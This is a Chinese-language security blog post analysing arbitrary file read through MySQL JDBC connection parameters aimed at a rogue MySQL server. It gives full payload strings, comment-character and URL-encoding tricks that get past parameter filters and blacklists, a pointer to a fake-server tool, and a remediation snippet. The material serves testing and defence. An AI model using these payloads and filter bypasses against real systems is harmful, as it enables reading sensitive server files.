JDBC MySQL任意文件读取分析1

JDBC MySQL任意文件读取分析

文章首发于知识星球-赛博回忆录。给主管打个广告,嘿嘿。
在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。

完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

以下是可以利用该漏洞的一些场景
在这里插入图片描述在这里插入图片描述在这里插入图片描述

一、端之间数据交互流程

简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。

1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。

主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
在这里插入图片描述在这里插入图片描述

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。

java端类的初始化变量

com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。
在这里插入图片描述

二、连接参数设置

很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。

文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似

设置包大小参数
maxAllowedPacket=655360
在这里插入图片描述

参考:

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html

三、8.0.x和5.1.x版本的一些差异

通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。

1、注释符差异

如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。

static String driverName = “com.mysql.cj.jdbc.Drive”;
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter(“jdbcUrl”);
Connection conn = DriverManager.getConnection(jdbcUrl + “&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false”);
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
8.0.x
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#

8.0.x是可以使用注释符#来注释掉后面的内容。

8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。
在这里插入图片描述

这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。
在这里插入图片描述

完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。

5.1.x
5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=
在这里插入图片描述

2、参数名和参数值解析差异

这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。

如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。

public static boolean isValidUrl(String url){
if(url.contains(“allowLoadLocalInfile”)||url.contains(“allowUrlInLocalInfile”)||url.contains(“allowLoadLocalInfileInPath”)){
return false;
}
}

8.0.x

8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。
在这里插入图片描述

jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。

所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。

5.1.x
仅仅参数值可以被编码。

jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码,绕过对true的赋值。
在这里插入图片描述

所以5版本无法绕过对黑名单机制的检测。

四、关于fakeserver脚本的一些问题

推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。

有些连接的参数发出来是utf8mb4会遇到下面的报错:
在这里插入图片描述

通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:
在这里插入图片描述

而utf8mb4发出来的编码集是45
在这里插入图片描述

所以上面报错的信息会显示不支持,是因为字符集没有被定义:

在flags.py添加一行定义即可。
在这里插入图片描述

五、修复方案

原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。

String driver = “com.mysql.jdbc.Driver”;
String DB_URL = “jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true”;
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty(“allowLoadLocalInfile”,“false”);
properties.setProperty(“allowUrlInLocalInfile”,“false”);
properties.setProperty(“allowLoadLocalInfileInPath”,“”);
Connection conn = DriverManager.getConnection(DB_URL,properties);

六、参考链接

https://paper.seebug.org/1112/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值